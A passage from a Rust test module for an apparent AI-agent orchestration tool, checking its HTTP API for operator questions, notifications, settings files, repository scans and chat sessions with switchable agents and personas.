8268 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8269 let path = format!("/api/questions/{id}/answer");
8270
8271 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8272 assert_eq!(res.status, 200, "{}", res.body);
8273 let body = res.json();
8274 assert_eq!(body["status"], "answered");
8275 assert_eq!(body["answer"]["choice"], "Redis");
8276
8277 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8281 assert_eq!(again.status, 409, "{}", again.body);
8282 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8283 }
8284
8285 #[tokio::test]
8286 async fn saying_something_appends_a_turn_without_answering() {
8287 let fx = Fixture::start().await;
8288 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8289 let path = format!("/api/questions/{id}/say");
8290
8291 let res = fx
8292 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8293 .await;
8294 assert_eq!(res.status, 200, "{}", res.body);
8295 let body = res.json();
8296 assert_eq!(body["status"], "open", "talking back is not a decision");
8297 assert_eq!(body["answer"], Value::Null);
8298 assert_eq!(body["thread"][0]["who"], "operator");
8299 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8300 assert_eq!(body["waiting_on_agent"], true);
8301 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8303 }
8304
8305 #[tokio::test]
8306 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8307 let fx = Fixture::start().await;
8308 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8309
8310 let list = fx.get("/api/questions").await.json();
8311 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8312
8313 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8314 assert_eq!(res.status, 409, "{}", res.body);
8315 let q = fx.questions().get(&id).unwrap();
8316 assert!(q.status.open());
8317 assert!(q.consult.is_none());
8318 }
8319
8320 #[tokio::test]
8321 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8322 let fx = Fixture::start().await;
8323 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8324 let cfg = Config {
8325 agents: vec![crate::config::AgentSpec {
8326 id: "mock".to_owned(),
8327 kind: crate::config::AgentKind::Command,
8328 model: None,
8329 command: vec!["true".to_owned()],
8330 extra_args: Vec::new(),
8331 env: Default::default(),
8332 prompt_delivery: None,
8333 }],
8334 ..Config::default()
8335 };
8336 let talk = crate::talk::begin(
8337 &fx.talks(),
8338 &cfg,
8339 fx.home.path().to_path_buf(),
8340 Some("mock"),
8341 )
8342 .unwrap();
8343 let mut task = Task::new(
8344 "t".to_owned(),
8345 "Do it".to_owned(),
8346 PathBuf::from("/repo/magi"),
8347 Source::Agent {
8348 run: talk.id.clone(),
8349 node: crate::queue::CHAT_NODE.to_owned(),
8350 },
8351 );
8352 task.start("20260902-000000-beef".to_owned());
8353 fx.queue().put(&mut task).unwrap();
8354
8355 let list = fx.get("/api/questions").await.json();
8356 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8357 assert_eq!(
8358 list[0]["choices"],
8359 serde_json::json!(["SQLite", "Redis"]),
8360 "the hand-over is never a choice"
8361 );
8362 fx.questions()
8363 .update(&id, |q| {
8364 q.node = crate::land::APPROVAL_NODE.into();
8365 q.choices = vec!["merge".into(), "hold".into()];
8366 Ok(())
8367 })
8368 .unwrap();
8369 let list = fx.get("/api/questions").await.json();
8370 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8371 let _ = id;
8372 }
8373
8374 #[tokio::test]
8375 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8376 let fx = Fixture::start().await;
8377 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8378 fx.questions()
8379 .update(&id, |q| {
8380 q.node = crate::land::APPROVAL_NODE.into();
8381 q.choices = vec!["merge".into(), "hold".into()];
8382 Ok(())
8383 })
8384 .unwrap();
8385 let cfg = Config {
8386 agents: vec![crate::config::AgentSpec {
8387 id: "mock".to_owned(),
8388 kind: crate::config::AgentKind::Command,
8389 model: None,
8390 command: vec!["true".to_owned()],
8391 extra_args: Vec::new(),
8392 env: Default::default(),
8393 prompt_delivery: None,
8394 }],
8395 ..Config::default()
8396 };
8397 let repo = fx.home.path().join("chat-repo");
8399 std::fs::create_dir_all(&repo).unwrap();
8400 let toml = repo.join("magi.toml");
8401 std::fs::write(&toml, "this is = = not toml").unwrap();
8402 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8403 let mut task = Task::new(
8404 "t".to_owned(),
8405 "Do it".to_owned(),
8406 PathBuf::from("/repo/magi"),
8407 Source::Agent {
8408 run: talk.id.clone(),
8409 node: crate::queue::CHAT_NODE.to_owned(),
8410 },
8411 );
8412 task.start("20260902-000000-beef".to_owned());
8413 fx.queue().put(&mut task).unwrap();
8414
8415 let path = format!("/api/questions/{id}/consult");
8416 let res = fx.post(&path, None).await;
8417 assert!(res.status >= 400, "{}", res.body);
8418 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8419 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8420
8421 std::fs::write(&toml, "").unwrap();
8422 let res = fx.post(&path, None).await;
8423 assert_eq!(res.status, 202, "{}", res.body);
8424 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8425 let q = fx.questions().get(&id).unwrap();
8426 assert!(q.status.open());
8427 assert!(q.answer.is_none());
8428 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8429 }
8430
8431 #[tokio::test]
8432 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8433 let fx = Fixture::start().await;
8434 let store = fx.questions();
8435 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8436 assert_eq!(
8437 fx.get("/api/health").await.json()["questions_needs_owner"],
8438 1
8439 );
8440
8441 let res = fx
8447 .post(
8448 &format!("/api/questions/{id}/say"),
8449 Some(r#"{"body":"why not Postgres?"}"#),
8450 )
8451 .await;
8452 assert_eq!(res.status, 200, "{}", res.body);
8453 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8454 assert_eq!(
8455 fx.get("/api/health").await.json()["questions_needs_owner"],
8456 0,
8457 "waiting on the agent is not waiting on the owner"
8458 );
8459
8460 let mut q = store.get(&id).expect("get");
8464 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8465 .expect("reply");
8466 store.put(&mut q).expect("put");
8467 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8468 assert_eq!(
8469 fx.get("/api/health").await.json()["questions_needs_owner"],
8470 1,
8471 "the agent's reply is what should light the banner back up"
8472 );
8473 }
8474
8475 #[tokio::test]
8476 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8477 let fx = Fixture::start().await;
8478 let store = fx.questions();
8479
8480 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8481 let res = fx
8482 .post(
8483 &format!("/api/questions/{empty_id}/say"),
8484 Some(r#"{"body":" "}"#),
8485 )
8486 .await;
8487 assert_eq!(res.status, 400, "{}", res.body);
8488
8489 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8490 let mut answered = store.get(&answered_id).expect("get");
8491 answered
8492 .answer(Answer::Choice("SQLite".to_owned()))
8493 .expect("answer");
8494 store.put(&mut answered).expect("put");
8495 let res = fx
8496 .post(
8497 &format!("/api/questions/{answered_id}/say"),
8498 Some(r#"{"body":"still there?"}"#),
8499 )
8500 .await;
8501 assert_eq!(res.status, 409, "{}", res.body);
8502
8503 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8504 let mut abandoned = store.get(&abandoned_id).expect("get");
8505 abandoned.abandon("timed out");
8506 store.put(&mut abandoned).expect("put");
8507 let res = fx
8508 .post(
8509 &format!("/api/questions/{abandoned_id}/say"),
8510 Some(r#"{"body":"still there?"}"#),
8511 )
8512 .await;
8513 assert_eq!(res.status, 409, "{}", res.body);
8514 }
8515
8516 #[tokio::test]
8517 async fn an_answer_the_question_does_not_offer_is_refused() {
8518 let fx = Fixture::start().await;
8519 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8520 let path = format!("/api/questions/{id}/answer");
8521
8522 for body in [
8523 r#"{"choice":"Postgres"}"#,
8524 r#"{"text":"whatever you think"}"#,
8525 r#"{"choice":"Redis","text":"both"}"#,
8526 r#"{}"#,
8527 ] {
8528 let res = fx.post(&path, Some(body)).await;
8529 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8530 assert!(res.json()["error"].is_string(), "{}", res.body);
8531 }
8532 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8534 }
8535
8536 #[tokio::test]
8537 async fn a_free_text_question_takes_text_and_not_a_choice() {
8538 let fx = Fixture::start().await;
8539 let id = ask(&fx, "What should the flag be called?", &[]);
8540 let path = format!("/api/questions/{id}/answer");
8541
8542 assert_eq!(
8543 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8544 400
8545 );
8546 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8547 assert_eq!(res.status, 200, "{}", res.body);
8548 assert_eq!(res.json()["answer"]["text"], "--json");
8549 }
8550
8551 #[tokio::test]
8552 async fn an_unknown_question_is_a_json_404() {
8553 let fx = Fixture::start().await;
8554 let res = fx
8555 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8556 .await;
8557 assert_eq!(res.status, 404, "{}", res.body);
8558 assert!(res.json()["error"].is_string());
8559 }
8560
8561 #[tokio::test]
8562 async fn notifications_list_read_dismiss_and_health_agree() {
8563 let fx = Fixture::start().await;
8564 let store = Notices::at(fx.home.path().join("notifications"));
8565 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8566 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8567
8568 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8569 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8570
8571 let health = fx.get("/api/health").await.json();
8572 assert_eq!(health["notifications_unread"], 2);
8573 assert_ne!(
8574 health["notifications_rev"], rev0,
8575 "the badge must move live"
8576 );
8577
8578 let listed = fx.get("/api/notifications").await.json();
8579 assert_eq!(listed["unread"], 2);
8580 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8581 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8582
8583 let read = fx
8584 .post(&format!("/api/notifications/{}/read", a.id), None)
8585 .await;
8586 assert_eq!(read.status, 200, "{}", read.body);
8587 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8588
8589 let gone = fx
8590 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8591 .await;
8592 assert_eq!(gone.status, 200, "{}", gone.body);
8593 let listed = fx.get("/api/notifications").await.json();
8594 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8595 assert_eq!(listed["unread"], 0);
8596
8597 store.raise(Notice::info("x", "again")).unwrap();
8598 let all = fx.post("/api/notifications/read-all", None).await;
8599 assert_eq!(all.status, 200, "{}", all.body);
8600 assert_eq!(all.json()["marked"], 1);
8601 assert_eq!(
8602 fx.get("/api/health").await.json()["notifications_unread"],
8603 0
8604 );
8605
8606 let missing = fx.post("/api/notifications/nope/read", None).await;
8607 assert_eq!(missing.status, 404, "{}", missing.body);
8608 assert!(missing.json()["error"].is_string());
8609 }
8610
8611 #[tokio::test]
8618 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8619 let f = Fixture::start().await;
8620
8621 let res = f
8622 .post(
8623 "/api/queue",
8624 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8625 )
8626 .await;
8627
8628 assert_eq!(
8629 res.status, 405,
8630 "POST /api/queue must not be a route: {}",
8631 res.body
8632 );
8633 assert!(
8634 f.queue().list().is_empty(),
8635 "a task filed by a route that does not exist must not reach the disk"
8636 );
8637 assert_eq!(f.get("/api/queue").await.status, 200);
8640 }
8641
8642 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8644 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8645 .expect("checkout dir");
8646 }
8647
8648 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8650
8651 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8652 let tmp = TempDir::new().expect("tempdir");
8653 let repo = tmp.path().join("repo");
8654 std::fs::create_dir_all(&repo).expect("repo dir");
8655 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8656 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8657 if let Some(text) = machine_toml {
8658 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8659 std::fs::write(&machine, text).expect("machine toml");
8660 }
8661 (tmp, repo, machine)
8662 }
8663
8664 #[tokio::test]
8665 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8666 let (_tmp, repo, machine) =
8667 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8668 let f = Fixture::with_repo_and_machine(repo, machine).await;
8669 let res = f.get("/api/settings").await;
8670 assert_eq!(res.status, 200, "{}", res.body);
8671 let v = res.json();
8672 assert!(v["error"].is_null(), "{v}");
8673 let role = |k: &str| {
8674 v["roles"]
8675 .as_array()
8676 .and_then(|r| r.iter().find(|x| x["key"] == k))
8677 .cloned()
8678 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8679 };
8680 assert_eq!(role("judges")["source"], "machine");
8681 assert_eq!(role("judges")["editable"], true);
8682 assert_eq!(role("implementers")["source"], "default");
8683 let adv = role("advisors");
8684 assert_eq!(adv["fallback"], "judges");
8685 assert!(
8686 adv["seats"]
8687 .as_array()
8688 .is_some_and(|s| s.iter().all(|x| x == "b")),
8689 "{adv}"
8690 );
8691 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8692 assert_eq!(v["agents"][0]["source"], "repo");
8693 }
8694
8695 #[tokio::test]
8696 async fn settings_get_reports_a_config_that_does_not_parse() {
8697 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8698 let f = Fixture::with_repo_and_machine(repo, machine).await;
8699 let res = f.get("/api/settings").await;
8700 assert_eq!(res.status, 200, "{}", res.body);
8701 let v = res.json();
8702 assert!(v["error"]["message"].is_string(), "{v}");
8703 assert!(
8704 v["error"]["path"]
8705 .as_str()
8706 .is_some_and(|p| p.ends_with("magi.toml")),
8707 "{v}"
8708 );
8709 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8710 }
8711
8712 #[tokio::test]
8713 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8714 let (_tmp, repo, machine) = settings_dirs(
8715 SETTINGS_AGENTS,
8716 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8717 );
8718 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8719 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8720 let rev = f.get("/api/settings").await.json()["revision"]
8721 .as_str()
8722 .expect("revision")
8723 .to_owned();
8724 let body = serde_json::json!({
8725 "revision": rev,
8726 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8727 })
8728 .to_string();
8729 let res = f.put("/api/settings/roles", &body).await;
8730 assert_eq!(res.status, 200, "{}", res.body);
8731 let text = std::fs::read_to_string(&machine).expect("machine");
8732 assert_eq!(
8733 text,
8734 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8735 );
8736 assert_eq!(
8737 std::fs::read(repo.join("magi.toml")).expect("read"),
8738 repo_before
8739 );
8740 let again = f.get("/api/settings").await.json();
8741 let judges = again["roles"]
8742 .as_array()
8743 .expect("roles")
8744 .iter()
8745 .find(|r| r["key"] == "judges")
8746 .expect("judges")
8747 .clone();
8748 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8749 let stale = f.put("/api/settings/roles", &body).await;
8751 assert_eq!(stale.status, 409, "{}", stale.body);
8752 }
8753
8754 #[tokio::test]
8755 async fn settings_counts_are_reported_and_saved() {
8756 let (_tmp, repo, machine) = settings_dirs(
8757 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8758 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8759 );
8760 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8761 let v = f.get("/api/settings").await.json();
8762 let count = |v: &serde_json::Value, k: &str| {
8763 v["roles"]
8764 .as_array()
8765 .and_then(|r| r.iter().find(|x| x["key"] == k))
8766 .map(|x| x["count"].clone())
8767 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8768 };
8769 let imp = count(&v, "implementers");
8770 assert_eq!(imp["value"], 2);
8771 assert_eq!(imp["source"], "machine");
8772 assert_eq!(imp["file_key"], "candidates");
8773 assert_eq!(imp["roster_len"], 2);
8774 assert_eq!(imp["backups"], 0);
8775 assert_eq!(count(&v, "judges")["source"], "default");
8776 assert_eq!(count(&v, "advisors")["min"], 0);
8777 assert_eq!(count(&v, "reviewers")["editable"], false);
8778 assert!(
8779 count(&v, "reviewers")["locked_reason"]
8780 .as_str()
8781 .is_some_and(|m| m.contains("graph.reviewers"))
8782 );
8783 assert!(count(&v, "fixer").is_null());
8784 let rev = v["revision"].as_str().expect("revision").to_owned();
8785 let body = serde_json::json!({
8786 "revision": rev,
8787 "roles": { "judges": ["b"] },
8788 "counts": { "implementers": 1, "advisors": 0 }
8789 })
8790 .to_string();
8791 let res = f.put("/api/settings/roles", &body).await;
8792 assert_eq!(res.status, 200, "{}", res.body);
8793 let text = std::fs::read_to_string(&machine).expect("machine");
8794 assert_eq!(
8795 text,
8796 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8797 );
8798 let after = f.get("/api/settings").await.json();
8799 assert_eq!(count(&after, "implementers")["value"], 1);
8800 assert_eq!(count(&after, "implementers")["backups"], 1);
8801 assert_eq!(count(&after, "advisors")["value"], 0);
8802 let before = std::fs::read_to_string(&machine).expect("machine");
8803 let rev = after["revision"].as_str().expect("revision").to_owned();
8804 for counts in [
8805 serde_json::json!({ "judges": 0 }),
8806 serde_json::json!({ "judges": "x" }),
8807 serde_json::json!({ "judges": 2.5 }),
8808 serde_json::json!({ "judges": -1 }),
8809 serde_json::json!({ "reviewers": 3 }),
8810 serde_json::json!({ "bogus": 3 }),
8811 ] {
8812 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8813 let res = f.put("/api/settings/roles", &body).await;
8814 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8815 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8816 }
8817 }
8818
8819 #[tokio::test]
8820 async fn settings_put_refuses_without_touching_the_file() {
8821 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8822 let (_tmp, repo, machine) = settings_dirs(
8823 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8824 Some(machine_text),
8825 );
8826 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8827 let rev = f.get("/api/settings").await.json()["revision"]
8828 .as_str()
8829 .expect("revision")
8830 .to_owned();
8831 for roles in [
8832 serde_json::json!({ "judges": ["nope"] }),
8833 serde_json::json!({ "reviewers": ["b"] }),
8834 serde_json::json!({ "bogus": ["a"] }),
8835 ] {
8836 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8837 let res = f.put("/api/settings/roles", &body).await;
8838 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8839 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8840 assert_eq!(
8841 std::fs::read_to_string(&machine).expect("machine"),
8842 machine_text
8843 );
8844 }
8845 }
8846
8847 #[tokio::test]
8848 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8849 let tmp = TempDir::new().expect("tempdir");
8850 let repo = tmp.path().join("repo");
8851 std::fs::create_dir_all(&repo).expect("repo dir");
8852 let root = tmp.path().join("root");
8853 make_checkout(&root, "github.com", "yukimemi", "magi");
8854 std::fs::write(
8855 repo.join("magi.toml"),
8856 format!(
8857 "[repos]\nroots = [{:?}]\n",
8858 root.to_string_lossy().into_owned()
8859 ),
8860 )
8861 .expect("write magi.toml");
8862
8863 let f = Fixture::with_repo(repo).await;
8864 let res = f.get("/api/repos").await;
8865 assert_eq!(res.status, 200, "{}", res.body);
8866 let list = res.json();
8867 let repos = list.as_array().expect("an array");
8868 assert_eq!(repos.len(), 1);
8869 assert_eq!(repos[0]["name"], "yukimemi/magi");
8870 assert!(
8871 repos[0]["path"]
8872 .as_str()
8873 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8874 "{list}"
8875 );
8876 }
8877
8878 #[tokio::test]
8879 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8880 let tmp = TempDir::new().expect("tempdir");
8881 let repo = tmp.path().join("repo");
8882 std::fs::create_dir_all(&repo).expect("repo dir");
8883 let root = tmp.path().join("root");
8884 make_checkout(&root, "github.com", "yukimemi", "magi");
8885 std::fs::write(
8886 repo.join("magi.toml"),
8887 format!(
8888 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8889 root.to_string_lossy().into_owned()
8890 ),
8891 )
8892 .expect("write magi.toml");
8893
8894 let f = Fixture::with_repo(repo).await;
8895 let first = f.get("/api/repos").await;
8896 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8897
8898 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8901 let second = f.get("/api/repos").await;
8902 assert_eq!(
8903 second.json().as_array().map(Vec::len),
8904 Some(1),
8905 "a fresh cache must not rescan inside the TTL"
8906 );
8907
8908 let refreshed = f.get("/api/repos?refresh=1").await;
8909 assert_eq!(
8910 refreshed.json().as_array().map(Vec::len),
8911 Some(2),
8912 "an explicit refresh must rescan even inside the TTL"
8913 );
8914 }
8915
8916 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8922
8923 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8927 let tmp = TempDir::new().expect("tempdir");
8928 let repo = tmp.path().join("repo");
8929 std::fs::create_dir_all(&repo).expect("repo dir");
8930 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8931 let f = Fixture::with_repo(repo.clone()).await;
8932 (tmp, repo, f)
8933 }
8934
8935 #[tokio::test]
8936 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8937 let (_tmp, _repo, f) = talk_fixture().await;
8938
8939 let opened = f.post("/api/talks", None).await;
8942 assert_eq!(opened.status, 201, "{}", opened.body);
8943 let body = opened.json();
8944 assert_eq!(body["status"], "open");
8945 assert_eq!(
8946 body["turns"].as_array().unwrap().len(),
8947 0,
8948 "opening takes no agent turn: there is nothing yet to answer"
8949 );
8950
8951 let also_opened = f.post("/api/talks", Some("{}")).await;
8953 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8954
8955 let listed = f.get("/api/talks").await.json();
8956 assert_eq!(listed.as_array().unwrap().len(), 2);
8957 }
8958
8959 #[tokio::test]
8960 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8961 let tmp = TempDir::new().expect("tempdir");
8962 let repo = tmp.path().join("repo");
8963 std::fs::create_dir_all(&repo).expect("repo dir");
8964 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8965 std::fs::write(
8966 repo.join("magi.toml"),
8967 format!("{MOCK_AGENT_TOML}\n{second}"),
8968 )
8969 .expect("write magi.toml");
8970 let home = TempDir::new().expect("temp home");
8971 let talks = Talks::at(home.path().join("talks"));
8972 let ui = Arc::new(
8973 Ui::new(
8974 Queue::at(home.path().join("queue")),
8975 Questions::at(home.path().join("questions")),
8976 talks.clone(),
8977 home.path().join("runs"),
8978 home.path().to_path_buf(),
8979 repo.clone(),
8980 )
8981 .with_worktrees_root(home.path().join("wt")),
8982 );
8983 let cfg = config_for(&repo).await.expect("discover config");
8984 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8985 let id = talk.id.clone();
8986 let call = |agent: &str| {
8987 talk_agent(
8988 State(Arc::clone(&ui)),
8989 Path(id.clone()),
8990 Json(TalkAgent {
8991 agent: agent.to_owned(),
8992 }),
8993 )
8994 };
8995
8996 let unknown = call("nobody").await.expect_err("unknown agent");
8997 assert_eq!(
8998 unknown.status,
8999 StatusCode::BAD_REQUEST,
9000 "{}",
9001 unknown.message
9002 );
9003
9004 {
9005 let mut claimed = None;
9008 for _ in 0..200 {
9009 claimed = ui.begin_talk_turn(&id).expect("claim");
9010 if claimed.is_some() {
9011 break;
9012 }
9013 tokio::time::sleep(Duration::from_millis(10)).await;
9014 }
9015 let _busy = claimed.expect("free");
9016 let busy = call("second").await.expect_err("busy talk");
9017 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9018 }
9019 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9020
9021 let Json(view) = call("second").await.expect("switch");
9022 assert_eq!(view.talk.agent, "second");
9023 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9024 let saved = talks.get(&id).expect("reload");
9025 assert_eq!(saved.agent, "second");
9026 assert_eq!(saved.turns.len(), 1);
9027
9028 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9029 .await
9030 .expect("detail");
9031 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9032 assert_eq!(roster, ["mock", "second"]);
9033
9034 let mut closed = talks.get(&id).expect("reload");
9035 talk::close(&mut closed, &talks).expect("close");
9036 let refused = call("mock").await.expect_err("closed talk");
9037 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9038 }
9039
9040 #[tokio::test]
9041 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9042 let tmp = TempDir::new().expect("tempdir");
9043 let repo = tmp.path().join("repo");
9044 std::fs::create_dir_all(&repo).expect("repo dir");
9045 std::fs::write(
9046 repo.join("magi.toml"),
9047 format!(
9048 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9049 ),
9050 )
9051 .expect("write magi.toml");
9052 let home = TempDir::new().expect("temp home");
9053 let talks = Talks::at(home.path().join("talks"));
9054 let ui = Arc::new(
9055 Ui::new(
9056 Queue::at(home.path().join("queue")),
9057 Questions::at(home.path().join("questions")),
9058 talks.clone(),
9059 home.path().join("runs"),
9060 home.path().to_path_buf(),
9061 repo.clone(),
9062 )
9063 .with_worktrees_root(home.path().join("wt")),
9064 );
9065 let cfg = config_for(&repo).await.expect("discover config");
9066 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9067 let id = talk.id.clone();
9068 let call = |persona: &str| {
9069 talk_persona(
9070 State(Arc::clone(&ui)),
9071 Path(id.clone()),
9072 Json(TalkPersona {
9073 persona: persona.to_owned(),
9074 }),
9075 )
9076 };
9077
9078 let unknown = call("nobody").await.expect_err("unknown persona");
9079 assert_eq!(
9080 unknown.status,
9081 StatusCode::BAD_REQUEST,
9082 "{}",
9083 unknown.message
9084 );
9085
9086 {
9087 let mut claimed = None;
9088 for _ in 0..200 {
9089 claimed = ui.begin_talk_turn(&id).expect("claim");
9090 if claimed.is_some() {
9091 break;
9092 }
9093 tokio::time::sleep(Duration::from_millis(10)).await;
9094 }
9095 let _busy = claimed.expect("free");
9096 let busy = call("rei").await.expect_err("busy talk");
9097 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9098 }
9099 assert_eq!(talks.get(&id).expect("reload").persona, "");
9100
9101 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9102 assert_eq!(view.talk.persona, "gendo");
9103 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9104
9105 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9106 .await
9107 .expect("detail");
9108 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9109 assert_eq!(ids.first(), Some(&"default"));
9110 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9111
9112 let Json(view) = call("default").await.expect("back to default");
9113 assert_eq!(view.talk.persona, "");
9114
9115 let mut closed = talks.get(&id).expect("reload");
9116 talk::close(&mut closed, &talks).expect("close");
9117 let refused = call("rei").await.expect_err("closed talk");
9118 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9119 }
9120
9121 #[tokio::test]
9122 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9123 let f = Fixture::start().await;
9124 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9125 let queue = f.queue();
9126 let mut mine = Task::new(
9127 "rename the loader".to_owned(),
9128 "rename the loader".to_owned(),
9129 PathBuf::from("/repo/magi"),
9130 Source::Agent {
9131 run: talk_id.clone(),
9132 node: "chat".to_owned(),
9133 },
9134 );
9135 queue.put(&mut mine).expect("file the task");
9136 let mut theirs = Task::new(
9137 "unrelated".to_owned(),
9138 "unrelated".to_owned(),
9139 PathBuf::from("/repo/magi"),
9140 Source::Human,
9141 );
9142 queue.put(&mut theirs).expect("file the task");
9143
9144 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9145 assert_eq!(res.status, 200, "{}", res.body);
9146 let body = res.json();
9147 assert_eq!(
